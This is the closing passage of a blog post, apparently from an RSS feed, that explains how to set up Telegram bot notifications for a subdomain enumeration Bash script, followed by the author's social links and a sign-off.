how we can do that -</p><blockquote><strong>Configuring Telegram Notifications</strong></blockquote><p>Let’s set up Telegram notifications for real-time alerts :</p><ol><li><strong>Create a Telegram Bot</strong></li></ol><ul><li>Search and Start a conversation with BotFather on Telegram.</li><li>Use the /newbot command to create a new bot and follow the prompts to set up its name and username.</li><li>Retrieve the bot token provided by BotFather for authentication purposes.</li></ul><p>2. <strong>Obtain Your Chat ID</strong></p><ul><li>Initiate a conversation with your newly created bot on Telegram.</li><li>Send a message to the bot to initiate the chat.</li><li>Visit https://api.telegram.org/bot&lt;YourBOTToken&gt;/getUpdates in your web browser to retrieve your chat ID.</li></ul><p>3. <strong>Integrate Telegram Notifications in the Script</strong></p><ul><li>Replace &quot;your_bot_token&quot; and &quot;your_chat_id&quot; placeholders in the Bash script with your actual bot token and chat ID.</li><li>This enables the script to send notifications upon completion of subdomain enumeration.</li></ul><p>yeyyyyy ! we did it buddy… <strong>what next…? </strong>🤔</p><blockquote><strong>Feel free to clone the repository directly from GitHub. Don’t hesitate to connect with me on social media networks.</strong></blockquote><p><strong>👨🏻‍💻 </strong><a href="https://github.com/thefellowhacker"><strong>Github </strong></a><strong>🔗 </strong><a href="https://linkedin.com/in/thefellowhacker"><strong>LinkedIn </strong></a><strong>🐦 </strong><a href="https://www.x.com/thefellowhacker/"><strong>thefellowhacker</strong></a><strong> 🅾 </strong><a href="https://www.instagram.com/thefellowhacker/"><strong>thefellowhacker</strong></a></p><p>It takes a lot of time to research, If you found it helpful, give it a <strong>Like</strong>, <strong>share</strong> it with your fellow enthusiasts, and don’t forget to <strong>follow</strong> for more updates. Your support means a lot and keeps the cyber journey going strong!</p><p><strong>Happy Hacking ! Bye Bye Hackers </strong>👋</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DkT4QfZZGthiFOY3xXc1cw.jpeg" /><figcaption><strong>Bye Bye Hackers </strong>👋</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a87e5b741b0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>